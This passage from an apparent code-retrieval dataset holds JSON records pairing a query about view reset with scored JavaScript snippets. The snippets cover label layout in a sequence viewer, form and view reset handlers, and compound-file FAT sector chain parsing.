textSize(36);\n text(trial, screenW/4+offSetNum, screenH/6);\n text(points, screenW/2 + offSetNum, screenH/6);\n text(draws, 3*screenW/4 + offSetNum, screenH/6);\n}", "title": "" }, { "docid": "9589e4155f8fcdf18d7e7e7a57223e00", "score": "0.5292141", "text": "function getRadialLabels(passedData) {\t\n\tvar groupedData = _.groupBy(passedData, 'Day');\n\tfor (var k in groupedData) radial_labels.push(k);\n}", "title": "" }, { "docid": "9589e4155f8fcdf18d7e7e7a57223e00", "score": "0.5292141", "text": "function getRadialLabels(passedData) {\t\n\tvar groupedData = _.groupBy(passedData, 'Day');\n\tfor (var k in groupedData) radial_labels.push(k);\n}", "title": "" }, { "docid": "058138eb1bfd51d231d033e463addbda", "score": "0.5290009", "text": "function Labels(props) {\n var _props$annotationRang = props.annotationRanges,\n annotationRanges = _props$annotationRang === undefined ? {} : _props$annotationRang,\n bpsPerRow = props.bpsPerRow,\n charWidth = props.charWidth,\n rangeMax = props.rangeMax,\n onlyShowLabelsThatDoNotFit = props.onlyShowLabelsThatDoNotFit,\n annotationHeight = props.annotationHeight,\n _props$textWidth = props.textWidth,\n textWidth = _props$textWidth === undefined ? 6 : _props$textWidth,\n editorName = props.editorName,\n labelLineIntensity = props.labelLineIntensity;\n\n if (annotationRanges.length === 0) {\n return null;\n }\n var warningMessage = null;\n // if (Object.keys(annotationRanges).length > 50) {\n // warningMessage = (\n // <span style={{ color: \"red\" }}>\n // <br />\n // Warning: Only the first 50 cutsites will be displayed. Filter the\n // cutsites you wish to see using the filter tool <br />\n // </span>\n // );\n // }\n\n var rowLength = bpsPerRow * charWidth;\n // let counter = 0;\n var maxAnnotationYOffset = 0;\n var annotationsSVG = [];\n var rowCenter = rowLength / 2;\n var iTree = new _nodeIntervalTree2.default(rowCenter);\n\n annotationRanges = (0, _lodash.values)((0, _lodash.reduce)(annotationRanges, function (accum, annotationRange) {\n var identifier = annotationRange.annotation.annotationTypePlural + \"--\" + annotationRange.id;\n if (\n // annotationRange.annotation.annotationTypePlural === \"parts\" ||\n !accum[identifier] || (0, _lib.getRangeLength)(accum[identifier], rangeMax) < (0, _lib.getRangeLength)(annotationRange, rangeMax)) {\n accum[identifier] = annotationRange;\n return accum;\n } else {\n return accum;\n }\n }, {}));\n\n (0, _lodash.filter)(annotationRanges, function (r) {\n if (onlyShowLabelsThatDoNotFit) {\n //tnrtodo: more work needs to be done here to make this actually configurable\n //check if annotation name will fit\n if (r.annotation.annotationTypePlural === \"cutsites\") {\n //we don't want to filter out any cutsite labels\n return true;\n }\n return !(0, _utils.doesLabelFitInAnnotation)(r.annotation.name, { range: r }, charWidth);\n }\n return true;\n }).forEach(function (annotationRange, index) {\n var pluralType = annotationRange.annotation.annotationTypePlural;\n var annotation = annotationRange.annotation;\n if (!annotation) {\n annotation = annotationRange;\n }\n var annotationLength = (annotation.name || annotation.restrictionEnzyme.name).length * textWidth;\n\n var _getXStartAndWidthOfR = (0, _getXStartAndWidthOfRowAnnotation2.default)(annotationRange, bpsPerRow, charWidth),\n xStart = _getXStartAndWidthOfR.xStart,\n width = _getXStartAndWidthOfR.width;\n\n xStart = annotation.annotationTypePlural === \"cutsites\" ? xStart : xStart + width / 2;\n\n var xStartOriginal = xStart;\n // if (annotation.name.includes(\"CmR I'm\")) debugger\n var xEnd = xStart + annotationLength;\n\n if (xEnd > rowLength) {\n xStart = xStart - (xEnd - rowLength);\n xEnd = rowLength;\n }\n xEnd += BUFFER_WIDTH;\n var yOffset = (0, _getYOffset2.default)(iTree, xStart, xEnd);\n iTree.insert(xStart, xEnd, _extends({}, annotationRange, {\n yOffset: yOffset\n }));\n\n if (yOffset > maxAnnotationYOffset) {\n maxAnnotationYOffset = yOffset;\n }\n var height = yOffset * annotationHeight;\n annotationsSVG.push(_react2.default.createElement(DrawLabel, _extends({\n id: annotation.id,\n key: \"cutsiteLabel\" + index\n }, {\n editorName: editorName,\n annotation: annotation,\n className: (annotationRange.annotation.labelClassName || \"\") + \" \" + labelClassNames[pluralType] + \" veLabel \",\n xStartOriginal: xStartOriginal,\n onClick: annotationRange.onClick,\n onRightClick: annotationRange.onRightClick,\n height: height,\n xStart: xStart,\n xEnd: xEnd,\n labelLineIntensity: labelLineIntensity\n })));\n });\n if (!annotationsSVG.length) return null;\n var containerHeight = (maxAnnotationYOffset + 1) * annotationHeight;\n return _react2.default.createElement(\n \"div\",\n {\n width: \"100%\",\n style: {\n position: \"relative\",\n height: containerHeight,\n display: \"block\"\n },\n className: \"veRowViewLabelsContainer\"\n },\n annotationsSVG,\n warningMessage\n );\n}", "title": "" }, { "docid": "100cc3ee5e4dc217e3a0ec0702fdd528", "score": "0.52881896", "text": "function labelForProgressBar() {\n $(\".label-circle\").each(function() {\n var value = $(this).prev().attr(\"data-value\");\n $(this).html(value + \" days\");\n });\n }", "title": "" }, { "docid": "4d78a60238d63ab0d18347df1cd78f75", "score": "0.52852076", "text": "function pc (n) {\n\t\treturn (100*n).toFixed(0)+\"%\";\n\t}", "title": "" } ]
a7cc8f708289facafa6e039b6563454d
Reset is true when called manually with changeview
[ { "docid": "2604b22fa56c09e91f515d0a28741def", "score": "0.0", "text": "function buildVisibleViewPre() {\n //Hide any popovers as they can get stuck whent the element is re-drawn\n hidePopovers();\n\n //Update the account balance\n if (final_balance == null) {\n $('#balance').html('Loading...');\n } else {\n $('#balance').html(formatSymbol(final_balance, symbol, true));\n $('#balance2').html(formatSymbol(final_balance, (symbol === symbol_local) ? symbol_btc : symbol_local), true);\n }\n\n //Only build when visible\n return cVisible.attr('id');\n }", "title": "" } ]
[ { "docid": "38c3f3eb9168ba33f6b3f9fba24bfd2c", "score": "0.73777896", "text": "onReset() {\n this.changeN();\n }", "title": "" }, { "docid": "179825e63b2ba68a63227d1df2e30396", "score": "0.72756934", "text": "function handleReset(){\n setShowView(\"start\");\n setScaleDown(false);\n setResturantSubmitted(false);\n setselectedRestaurants([]);\n }", "title": "" }, { "docid": "8e419beca9e67fddcc0bb3f895785adc", "score": "0.70014125", "text": "reset() {\r\n this.changeState(this.initial);\r\n }", "title": "" }, { "docid": "044d1ecb85057866ac493af58d3c0759", "score": "0.69531393", "text": "function resetClicked() {\n reset()\n}", "title": "" }, { "docid": "1fc1acada220280d86e063983582f509", "score": "0.689925", "text": "resetView() {\n this.viewFrom = this.rangeFrom;\n this.viewTo = this.rangeTo;\n }", "title": "" }, { "docid": "a34e7e2b4b44b4e04655c638b391734b", "score": "0.6811498", "text": "reset(){\n this.resetting();\n }", "title": "" }, { "docid": "2ddab8dea03dce8479e609e82981c495", "score": "0.6777294", "text": "function clickResetBtn(event){\n\t\tvar view = this;\n\t\tvar $e = view.$el;\n\t\t\n\t\tvar $emailFilterFields = $e.find(\".email-filter-fields\");\n\t\t$emailFilterFields.find(\".mailingname\").val('');\n\t\t$emailFilterFields.find(\".cbox\").each(function() { \n\t\t\t$(this).attr(\"checked\", false); \n\t\t}); \n\t\t$emailFilterFields.find(\".dates\").get(0).selectedIndex=0;\n\t\t$emailFilterFields.find(\".revenues\").get(0).selectedIndex=0;\n\t\t$emailFilterFields.find(\".dateValue\").val(' / / ');\n\t\t$emailFilterFields.find(\".revenueValue\").val('');\n\t\tvar $message = $(\".sectionTitle\").find(\".message\");\n\t\t$message.hide();\n\n\t\tcleanView(view);\n\t\tshowDataSection.call(view,view.dataAll);\n\t}", "title": "" }, { "docid": "a0529b0b69cfb7eb17369db4629475cf", "score": "0.6729557", "text": "reset() {\r\n this.changeState(this.states[0]); /// 'normal'\r\n }", "title": "" }, { "docid": "eeb076d342cce8b1fe6b31487691ca9b", "score": "0.6702794", "text": "reset() {\r\n return this.activestate = \"normal\";\r\n }", "title": "" }, { "docid": "eef66434da2d595b2ad9990499e6688f", "score": "0.66871655", "text": "function onReset(value, old, key, settings) {\n updateUI();\n }", "title": "" }, { "docid": "c6c3efd7d3d79d38636a8517419bbc3c", "score": "0.6668254", "text": "reset() {\r\n this.changeState(this._initialState);\r\n }", "title": "" }, { "docid": "b36e170e31c864146c607b09fe500799", "score": "0.6634201", "text": "function reset() {\n vm.input = null;\n vm.otherChecked = false;\n vm.qtype = null;\n vm.questionText= null;\n vm.options = [];\n vm.other = '';\n }", "title": "" }, { "docid": "f6b8452ba5d899cb4397e15f3da19bab", "score": "0.6607529", "text": "function resetView() {\n\tdocument.getElementById('x3dprev').runtime.resetView();\n}", "title": "" }, { "docid": "ebdd60683e1faa1e9671398e4dfd3cbf", "score": "0.65824276", "text": "function resetDecompositionPreviewViewAndCheckboxes() {\n app.fixedExpression = \"\";\n app.selectedFacts.reset();\n app.selectedWorldPredicates.reset();\n // Refaz as listas originais\n app.factCheckboxListView.startOver();\n app.worldPredicateCheckboxListView.startOver();\n app.decompositionPreviewView.initialize();\n}", "title": "" }, { "docid": "87036f720fc12d31da618ae8bdead617", "score": "0.654825", "text": "function reset() {\n \n}", "title": "" }, { "docid": "8efacd2e5d902152cef5facbc60a306e", "score": "0.6533128", "text": "function reset() {\n attachSource(null);\n attachView(null);\n }", "title": "" }, { "docid": "13466763d19d3cfe1525d8e798066515", "score": "0.65217626", "text": "reset() {\n if ('reset' in this.editor) {\n this.editor.reset();\n }\n else {\n this.value = this.defaultValue;\n }\n this.enableHandler();\n this.changed = false;\n }", "title": "" }, { "docid": "81cbe8f1f0bc410eea66ecf884cfc055", "score": "0.6518119", "text": "changeReset(bool){\n this.setState({reset: bool});\n }", "title": "" }, { "docid": "93722a1a4f04cd3a2d82f46a40393fa4", "score": "0.6486088", "text": "function _reset() {\n angular.forEach(vm.options, function (opts) {\n opts._hidden = false;\n });\n vm._keyword = '';\n vm._isSelecting = false;\n vm._isLoading = false;\n vm._failed = false;\n }", "title": "" }, { "docid": "bfc2cd3699678aa275f87c64e5a70f8f", "score": "0.6480528", "text": "reset() {\n this.forceUpdate();\n }", "title": "" }, { "docid": "ac80c292397bebf363d16ec0981cf4c3", "score": "0.6448946", "text": "reset() {\n this.visible = false;\n this.mode = \"register\";\n this.waiting = false;\n }", "title": "" }, { "docid": "4f702cc5f906ce364ad21af694d20673", "score": "0.63991505", "text": "function reset(){\n\n}", "title": "" }, { "docid": "4f702cc5f906ce364ad21af694d20673", "score": "0.63991505", "text": "function reset(){\n\n}", "title": "" }, { "docid": "c27001669f1b6b924ea59af6f80ad2b4", "score": "0.63945186", "text": "function resetOther() {\n\t\t\tconsole.log(\"into resetOther\");\n\n\t\t\t//\n\t\t\t// reset display booleans\n\t\t\tvm.hideErrorContents = true;\n\t\t\tvm.hideLoadingHeader = true;\n\t\t\tvm.queryMode = true;\n\t\t}", "title": "" }, { "docid": "ccbdf91ff0a9626c7d16fb78be82e6ec", "score": "0.6375224", "text": "_resetView() {\n\t\tthis._video.element.style.filter = \"\";\n\t\tthis._properties.brightness.value = 100;\n\t\tthis._properties.contrast.value = 100;\n\t\tresetCanvas();\n\t}", "title": "" }, { "docid": "e2f52ab174d64a698e929e55ec4a3f4d", "score": "0.63597566", "text": "function resetCheckbox(){\n\n}", "title": "" }, { "docid": "f1630e4f5e603c3f4dc467f7994689c6", "score": "0.6351869", "text": "function refreshView() {\n\tchangeView(currentView[0], currentView[1], true);\n}", "title": "" }, { "docid": "e78315cb26373ee734f67c390cd91991", "score": "0.6346483", "text": "function reset() {}", "title": "" }, { "docid": "7e38aa6d0cbf30c942fd714f95c0d80d", "score": "0.6334107", "text": "function setResetFlag(e) {\n resetPosition = true;\n }", "title": "" }, { "docid": "24902696611d41a0967d8a6853cafb17", "score": "0.6331018", "text": "function resetRadioButton(){\n\n}", "title": "" }, { "docid": "0a0e9e3e9a728c98909ddbc2deee6ab8", "score": "0.6319412", "text": "reset() {\n this.setValue(this.defaultValue)\n }", "title": "" }, { "docid": "4d169505adc0d53d763919f5ed781c7a", "score": "0.6314179", "text": "reset(){\n this._els.input.val( this._default );\n }", "title": "" }, { "docid": "b237e341575a2c3758d1683ae45d146c", "score": "0.63125366", "text": "function resetView() {\n btnGuess.style.display = 'inline-block';\n guessInput.value = \"\";\n setOutput(display.clear);\n guessInput.focus();\n}", "title": "" }, { "docid": "4ed06b801693983a0e6e180b30a723e0", "score": "0.63115525", "text": "resetsNothing() {return false}", "title": "" }, { "docid": "f02a548bf0bff7398487d19fd3e33b40", "score": "0.6292139", "text": "reset() {\r\n this.activeState = this.initial;\r\n }", "title": "" }, { "docid": "f02a548bf0bff7398487d19fd3e33b40", "score": "0.6292139", "text": "reset() {\r\n this.activeState = this.initial;\r\n }", "title": "" }, { "docid": "f02a548bf0bff7398487d19fd3e33b40", "score": "0.6292139", "text": "reset() {\r\n this.activeState = this.initial;\r\n }", "title": "" }, { "docid": "3153b7f12a0ddc5da70afa6b4e4ddfd8", "score": "0.6258943", "text": "cancelView() {\r\n this.props.resetView();\r\n }", "title": "" }, { "docid": "334d2481589c083505d6730482ea6fd4", "score": "0.6250216", "text": "reset() {\n this.value = 0;\n this.history = [[true, 0]]\n this.index = 0\n }", "title": "" }, { "docid": "90cf7aa7c499f2f57c04cc4f3b712385", "score": "0.6242367", "text": "function reset (){\n \n\n}", "title": "" }, { "docid": "620d81d93973641c9d542871eb572df2", "score": "0.6224394", "text": "resetStatus(e) {\n this.changeStatus(e, \"reset\");\n }", "title": "" }, { "docid": "b652867b032d4e57b3f34d5948f86e61", "score": "0.6205468", "text": "function resetear() {\n resetearFormulario();\n resetearCanvas();\n}", "title": "" }, { "docid": "ffd45aff3d97ac0aaa1b3b99b72ac80e", "score": "0.62043387", "text": "function resetPage () {\r\n\t\t//empty vinText\r\n\t\t$(\"#vinText\").removeAttr(\"disabled\");\r\n\t\t$(\"#vinText\").attr(\"value\",\"\");\r\n\t\t//聚焦到vin输入框上\r\n\t\t$(\"#vinText\").focus();\r\n\t\t//to show vin input hint\r\n\t\ttoggleVinHint(true);\r\n\t\t//disable submit button\r\n\t\t$(\"#btnSubmit\").attr(\"disabled\",\"disabled\");\r\n\t\t$(\"#divDetail\").hide();\r\n\t\tclearInputs();\t\t\t\t\t\t\t\t\t//added by wujun\r\n\t\t$(\"#tabs li\").removeClass(\"active\");\t\t\t//added by wujun\r\n\t\t$(\"#tabs li:first-child\").addClass(\"active\");\t//added by wujun\r\n\r\n\t\t$(\"#tabContent .tab-pane\").removeClass(\"active\");\r\n\t\t$(\"#tabContent .tab-pane:first-child\").addClass(\"active\");\r\n\r\n\t\tclicked = [true,false,false,false,false,true];\r\n\t\t// console.log(clicked);\r\n\r\n\t}", "title": "" }, { "docid": "5663e232f34ac82edfca39334d7dd8cd", "score": "0.62011975", "text": "reset() {\r\n this.config.initial = 'normal';\r\n }", "title": "" }, { "docid": "cb65c36a51ef201077a5200609678308", "score": "0.6199719", "text": "function reset() {\n timer.reset();\n refreshTimer();\n showButtons();\n }", "title": "" }, { "docid": "257a39afae60cb09de147669e3d1def1", "score": "0.61986667", "text": "reset() {\r\n\r\n this.state = this.initial;\r\n }", "title": "" }, { "docid": "eb17807f6d6c93e0037a42e70d1485d2", "score": "0.6195989", "text": "function reset()\n {\n $rootScope.$emit(\"reset\", {});\n }", "title": "" }, { "docid": "aaef40bd6a97495c55ec03a127b57446", "score": "0.61878127", "text": "handleResetClick(e){\n e.preventDefault()\n this.clearState();\n }", "title": "" }, { "docid": "fbefabdead56af59cbfab738052b047a", "score": "0.6184922", "text": "reset(){this.data.reset()}", "title": "" }, { "docid": "a809b91893ee9156df76d1cb4de1db95", "score": "0.6179106", "text": "reset() {\r\n this.changeState(this.initConfig.initial);\r\n this.counter = 0;\r\n }", "title": "" }, { "docid": "1276d2338fa21022a0b335d94f881048", "score": "0.61656046", "text": "reset() {\n\t\tthis.set('');\n\t}", "title": "" }, { "docid": "eb58c436cf36bc216cba2f5e0e238c91", "score": "0.61638224", "text": "reset() {\r\n this.state = \"normal\";\r\n }", "title": "" }, { "docid": "33b2f3f8d2b1522df6b2a92b68e43b4a", "score": "0.616242", "text": "resetView() {\n let loaded = true;\n\n if (this.state.shared) {\n !this.state.searchInput\n ? this.getJsonData(false, false)\n : this.getJsonData('query', this.state.searchInput);\n loaded = false;\n }\n\n this.setState({\n isLoaded: loaded,\n filteredItems: this.state.responseData,\n view: 'table',\n searchInput: this.state.searchInput,\n archId: null,\n switchView: false,\n searchView: false,\n shared: false,\n });\n\n this.state.searchInput\n ? virtualUrl.showDetail('', 'table', this.state.searchInput, this.state.searchHistory)\n : virtualUrl.showDetail('', 'table', '');\n }", "title": "" }, { "docid": "eafeeb00340c32466ffc1b1c8914f335", "score": "0.6156453", "text": "reset() {\r\n this._currentState =this._initialState; \r\n\r\n }", "title": "" }, { "docid": "64d58e2ed664a9f90a8ced416265caa4", "score": "0.6148742", "text": "async doReset() {\n const model = this.model;\n let shouldReset = await this.willReset(model);\n shouldReset &&= await this.confirmReset(model);\n if (shouldReset) {\n try {\n this.isResetting = true;\n await this.onReset(model);\n this.notifySuccess(this.successfulResetMessage);\n this.didReset(model);\n this._runFieldDidReset(model);\n this._markClean();\n } catch (e) {\n this.notifyError(this.failedResetMessage);\n this.failedReset(e);\n } finally {\n this.isResetting = false;\n }\n } else {\n this.didNotReset(model);\n this.notifyError(this.didNotResetMessage);\n }\n }", "title": "" }, { "docid": "6ff4954df441bc78866bc06e65820d94", "score": "0.61484534", "text": "function reset() {\n messageBox(true);\n }", "title": "" }, { "docid": "6a95de7f92e9c8423332375c4d7bc072", "score": "0.6140654", "text": "function resetear () {\n borrarIntegrantesPasados();\n ocultarBotonCalculo();\n ocultarIntegrantes();\n ocultarTextoAnalisis();\n}", "title": "" }, { "docid": "7cc1c298c5eb55df8f4e91b96ea42e19", "score": "0.613696", "text": "function resetKoData() {\n koClickView.buttons = ko.observableArray([]);\n loadKoData(clickItems);\n}", "title": "" }, { "docid": "78496139c38253912dc8eb1e77557129", "score": "0.6134895", "text": "function reset(){\r\n unhighlightAll();\r\n hideModal();\r\n}", "title": "" }, { "docid": "b7027f08197b08b4134d3ee6b480df53", "score": "0.6134228", "text": "reset() {\r\n this._state = this._initial;\r\n }", "title": "" }, { "docid": "86d9fbefb93037cce1ddc677b253ce04", "score": "0.61339813", "text": "function reset() {\n win.location.reload();\n }", "title": "" }, { "docid": "19c92113dd9dec5b8fcc82f628093adf", "score": "0.61310625", "text": "reset() {\n\t\t//this.writeDebug('info', 'reset');\n\t}", "title": "" }, { "docid": "e871bf5a0a609ff7097393eb8627b6aa", "score": "0.612846", "text": "reset()\n {\n // Override for implementation\n }", "title": "" }, { "docid": "e1c10ea99b51727a560bf58f4cfe499f", "score": "0.6115279", "text": "reset(ev) {\n setTimeout(() => { this.update() }, 1);\n }", "title": "" }, { "docid": "cc1caf448111d0da27e069c3a8dfb533", "score": "0.61119765", "text": "reset() {\r\n this.activeState=this.configur.initial;\r\n }", "title": "" }, { "docid": "d0238461925f40d843dca2b2766acb7e", "score": "0.61058235", "text": "function resetFromCheckBox() {\n clearBoxes()\n resetStar()\n if (checkBoxIrrVerbs.checked === false && checkBoxRegVerbs.checked === false) {\n resetVerbList()\n } else {\n verbListShown = []\n checkIndexUsedArray = []\n if (checkBoxRegVerbs.checked === true) {\n showOnlyRegVerbs()\n } else if (checkBoxIrrVerbs.checked === true) {\n showOnlyIrrVerbs()\n }\n }\n}", "title": "" }, { "docid": "0bb51d7db0b26821b7cf5a58032ba8fc", "score": "0.6091411", "text": "function reset() {\n state.on(\"init\");\n}", "title": "" }, { "docid": "cf6647263f4cdb5dcecb585524189038", "score": "0.6088852", "text": "reset() {\r\n this.state = this.start;\r\n }", "title": "" }, { "docid": "7cb6916c40510e8f948f0ebd696c690c", "score": "0.6085836", "text": "function resetView(){\n localStorage.clear();\n submitForm();\n}", "title": "" }, { "docid": "7cb6916c40510e8f948f0ebd696c690c", "score": "0.6085836", "text": "function resetView(){\n localStorage.clear();\n submitForm();\n}", "title": "" }, { "docid": "4c5e0ee485b78e211c53de4bc63f6d19", "score": "0.6077213", "text": "function reset() {\n resetChoices();\n resetFeedback(scope.choices);\n }", "title": "" }, { "docid": "73a61027c99b0a97081291e4e038fc58", "score": "0.60733235", "text": "function resetClick() {\r\n\twindow.location.reload();\r\n}", "title": "" }, { "docid": "b27875e25212c992c344f1fd4d0b3335", "score": "0.60692585", "text": "function onReset() {\n log('#logs', \"Clicked the reset button\");\n if (detector && detector.isRunning) {\n detector.reset();\n\n $('#results').html(\"\");\n }\n}", "title": "" }, { "docid": "2b925272b59f432556dfa71012e0708f", "score": "0.60673743", "text": "function reset() {\n $(\".results\").hide();\n $(\".replay\").hide();\n questionIndex = 0;\n rightAnswers = 0;\n wrongAnswers = 0;\n showQuestion();\n }", "title": "" }, { "docid": "873d87ddb050c9d416b3ba11a9b3c211", "score": "0.60661525", "text": "function onReset() {\n log('#logs', \"Clicked the reset button\");\n if (detector && detector.isRunning) {\n detector.reset();\n // $('#results').html(\"\");\n }\n detection_results = [];\n }", "title": "" }, { "docid": "6fb9c6c3aba7daaa0dda20470cae0577", "score": "0.6052692", "text": "reset() {\r\n \treturn this.currentState = this.initial;\r\n }", "title": "" }, { "docid": "052ab5676d538e7708de22522ff7b42b", "score": "0.60499287", "text": "enableReset() {\r\n this.resetButton.disabled = false;\r\n }", "title": "" }, { "docid": "752a64b26cb6729f3d857c3913fd4d57", "score": "0.60483307", "text": "function reset(){\n\tclear();\n}", "title": "" }, { "docid": "bf914b83bc315eba0364c07c07043f42", "score": "0.604787", "text": "function reset() {\r\n\tdraw();\r\n}", "title": "" }, { "docid": "bafb9d89308fdc374daa49a76e2f2abb", "score": "0.60461426", "text": "resetHandler(event){\n this.isRecordsVisible = false;\n this.columns = [];\n this.data = [];\n }", "title": "" }, { "docid": "14c6c559725d03be1c1049af73c605ad", "score": "0.6045181", "text": "function onReset() {\n log('#logs', \"Clicked the reset button\");\n if (detector && detector.isRunning) {\n detector.reset();\n\n $('#results').html(\"\");\n }\n}", "title": "" }, { "docid": "948086c95b67b32e2df52cda469576cf", "score": "0.6036426", "text": "reset() {\n //this.writeDebug('info', 'reset');\n }", "title": "" }, { "docid": "8248fac8bd0196291a76e7a0e24e3d7d", "score": "0.6035635", "text": "function onReset() {\n log('#logs', \"Clicked the reset button\");\n if (detector && detector.isRunning) {\n detector.reset();\n \n document.querySelector('#results').innerHTML = \"\";\n }\n }", "title": "" }, { "docid": "5f5c20ace42f907ddd41e9de7280ba7c", "score": "0.60351366", "text": "resetState() {\n this.output = 0;\n this.stored = \"\";\n this.operation = {\n value: \"\",\n operator: \"\"\n }\n this.ran = false;\n this.editing = false;\n this.refresh();\n }", "title": "" }, { "docid": "3499d666626bae7b85b12d53645658fe", "score": "0.6025137", "text": "resetDirty() {\n this._dirty = false;\n }", "title": "" }, { "docid": "719c1dcd83db0787f856b043a053dc93", "score": "0.6019655", "text": "function doReset() {\n $(\"*[id^='fragment_']\").css(\"background-color\", \"transparent\");\n $(\"*[id^='fragment_']\").hide();\n $('#explanation').html('');\n $(\"#btn_prev\").css('visibility', 'hidden');\n $(\"#btn_next\").css('visibility', 'visible');\n $(\"#btn_reset\").css('visibility', 'hidden');\n $(\"#forward_button_label\").text('Start');\n $(\"#forward_button_label\").css('cursor', 'pointer');\n $(\"#forward_button_label\").css('color', 'red');\n $(\"#forward_button_label\").css('font-size', '24px');\n $(\"#next_arrow\").hide();\n\n\n currentStep = 0;\n}", "title": "" }, { "docid": "1ad6aad1e0ada4cd466de905cc516527", "score": "0.60149384", "text": "function handleResetButtonClick() {\r\n location.reload();\r\n\r\n}", "title": "" }, { "docid": "ae4ec322fc68b2f849d6129e7e1cce14", "score": "0.6006769", "text": "reset()\n\t{\n\n\t}", "title": "" }, { "docid": "da2b9815cf79116ca7859cea424cbb65", "score": "0.6003788", "text": "reset() {\n const data = new Object();\n this.setData(data);\n const on = new CustomEvent(\"onReset\");\n on[\"source\"] = this;\n on[\"data\"] = data;\n this.fireListener(\"onReset\", on);\n }", "title": "" }, { "docid": "88f45c74f503d70ef967775eae5e5317", "score": "0.6000654", "text": "function reset() {\n resetTimer();\n shoubuModel.reset();\n}", "title": "" }, { "docid": "53f8d97cc93074e621e4fe0c2fcccc57", "score": "0.6000477", "text": "formResetCallback() {\n super.formResetCallback();\n this.setDefaultSelectedOption();\n this.updateValue();\n }", "title": "" }, { "docid": "63c6feee91766dfabaea57743cae39a8", "score": "0.599622", "text": "resetMatch() {\n console.log(\"Reseting match...\")\n\n this.executeBasicReset()\n\n // show \"New Match\" button and hide the others\n this.showNewMatchButtonAndHideOthers()\n\n console.log(\"Reset processed successfully!\")\n }", "title": "" }, { "docid": "d4b776793efe912aab14e5f720599d66", "score": "0.5995953", "text": "reset(){\n this.history.splice(1,this.history.length);\n this.updateCallback();\n }", "title": "" }, { "docid": "013cbbf0a9c433ae9bde401760dd7ec2", "score": "0.59874475", "text": "onReset() {\n var vm = this\n // // ToDo: Confirm\n // // vm.loader();\n // Alt: http://angular-formly.com/#/example/form-options/reset-model\n // ToDo: Confirm\n if (vm.form) {\n // http://jsbin.com/zaqeke\n //vm.$scope.options.resetModel();\n vm.form.$setPristine()\n vm.form.$setUntouched()\n }\n }", "title": "" }, { "docid": "b3d409b5efab07fe360ab48f709a97e8", "score": "0.5984481", "text": "function Reset () {}", "title": "" }, { "docid": "90c8e3475ff7b0e80096c6ebcb61f31b", "score": "0.5982629", "text": "function reset() {\n this.state = this.forced;\n this.forced = void 0;\n }", "title": "" }, { "docid": "4f260875c4fc75186bcbb6beb9d55c8b", "score": "0.5976654", "text": "reset() {\n this.visible = false;\n this.mode = \"register\";\n this.fishBatch = null;\n this.waiting = false;\n //Se rresetean los formulario\n this.inThisMoment = true;\n this.setTime = false;\n this.fishWeight.reset();\n this.fishLong.reset();\n this.resume.reset();\n this.measurements = [];\n }", "title": "" }, { "docid": "058f72363bd84032575d7a25c9189805", "score": "0.59755844", "text": "reset() {\r\n this.activeState = 'normal';\r\n return (this)\r\n }", "title": "" }, { "docid": "44748891a2697d67e0efcb6daacfc9b6", "score": "0.59745634", "text": "function reset() {\n\tconsole.log(\" scene.js - Reset: In Reset\");\n\tpoints = []; // clear array\n\tminPoints = 0; // reset minimum required points\n\tactiveCommand = \"\"; // reset the active command\n\ttempItems = [];\n\tselectedItems = [];\n\tselectionSet = [];\n selectionSetChanged();\n\tselectionAccepted = false;\n\tlastCommandPosition = -1;\n\t//resetCommandPrompt();\n\tcommandLine.resetPrompt();\n\tpromptTracker = 0;\n\tcanvas.requestPaint();\n\t//sceneQmlObject.selectionSetChange();\n}", "title": "" }, { "docid": "65fb2193f10a32e659efb577f00b5418", "score": "0.59579027", "text": "reset() {\r\n this._current = this._initial;\r\n }", "title": "" }, { "docid": "c6bc835656a1e2eb8913e6f15a30edfd", "score": "0.595596", "text": "reset() {\n for (let i = 0; i < this._models.length; ++i) {\n let model = this._models.data[i];\n model._viewID = -1;\n }\n }", "title": "" } ]
34fcb4f3d651db35580f8a0b19b1b4c5
Chase down the rest of the DIFAT chain to build a comprehensive list DIFAT chains by storing the next sector number as the last 32 bits
[ { "docid": "bac2bab46ade6e7797c9f3b759320834", "score": "0.5709231", "text": "function sleuth_fat(idx, cnt, sectors, ssz, fat_addrs) {\n\tvar q = ENDOFCHAIN;\n\tif(idx === ENDOFCHAIN) {\n\t\tif(cnt !== 0) throw new Error(\"DIFAT chain shorter than expected\");\n\t} else if(idx !== -1 /*FREESECT*/) {\n\t\tvar sector = sectors[idx], m = (ssz>>>2)-1;\n\t\tif(!sector) return;\n\t\tfor(var i = 0; i < m; ++i) {\n\t\t\tif((q = __readInt32LE(sector,i*4)) === ENDOFCHAIN) break;\n\t\t\tfat_addrs.push(q);\n\t\t}\n\t\tsleuth_fat(__readInt32LE(sector,ssz-4),cnt - 1, sectors, ssz, fat_addrs);\n\t}\n}", "title": "" } ]
[ { "docid": "b185458f2bd8228394114cdf178c1a7b", "score": "0.5928279", "text": "function get_sector_list(sectors, start, fat_addrs, ssz, chkd) {\n var buf = [],\n buf_chain = [];\n if (!chkd) chkd = [];\n var modulus = ssz - 1,\n j = 0,\n jj = 0;\n\n for (j = start; j >= 0;) {\n chkd[j] = true;\n buf[buf.length] = j;\n buf_chain.push(sectors[j]);\n var addr = fat_addrs[Math.floor(j * 4 / ssz)];\n jj = j * 4 & modulus;\n if (ssz < 4 + jj) throw new Error(\"FAT boundary crossed: \" + j + \" 4 \" + ssz);\n if (!sectors[addr]) break;\n j = __readInt32LE(sectors[addr], jj);\n }\n\n return {\n nodes: buf,\n data: __toBuffer([buf_chain])\n };\n }", "title": "" }, { "docid": "1f77773b1bfe5ef6a731cc915ee7afcd", "score": "0.58423257", "text": "function get_sector_list(sectors, start, fat_addrs, ssz, chkd) {\n\tvar buf = [], buf_chain = [];\n\tif(!chkd) chkd = [];\n\tvar modulus = ssz - 1, j = 0, jj = 0;\n\tfor(j=start; j>=0;) {\n\t\tchkd[j] = true;\n\t\tbuf[buf.length] = j;\n\t\tbuf_chain.push(sectors[j]);\n\t\tvar addr = fat_addrs[Math.floor(j*4/ssz)];\n\t\tjj = ((j*4) & modulus);\n\t\tif(ssz < 4 + jj) throw new Error(\"FAT boundary crossed: \" + j + \" 4 \"+ssz);\n\t\tif(!sectors[addr]) break;\n\t\tj = __readInt32LE(sectors[addr], jj);\n\t}\n\treturn {nodes: buf, data:__toBuffer([buf_chain])};\n}", "title": "" }, { "docid": "1f77773b1bfe5ef6a731cc915ee7afcd", "score": "0.58423257", "text": "function get_sector_list(sectors, start, fat_addrs, ssz, chkd) {\n\tvar buf = [], buf_chain = [];\n\tif(!chkd) chkd = [];\n\tvar modulus = ssz - 1, j = 0, jj = 0;\n\tfor(j=start; j>=0;) {\n\t\tchkd[j] = true;\n\t\tbuf[buf.length] = 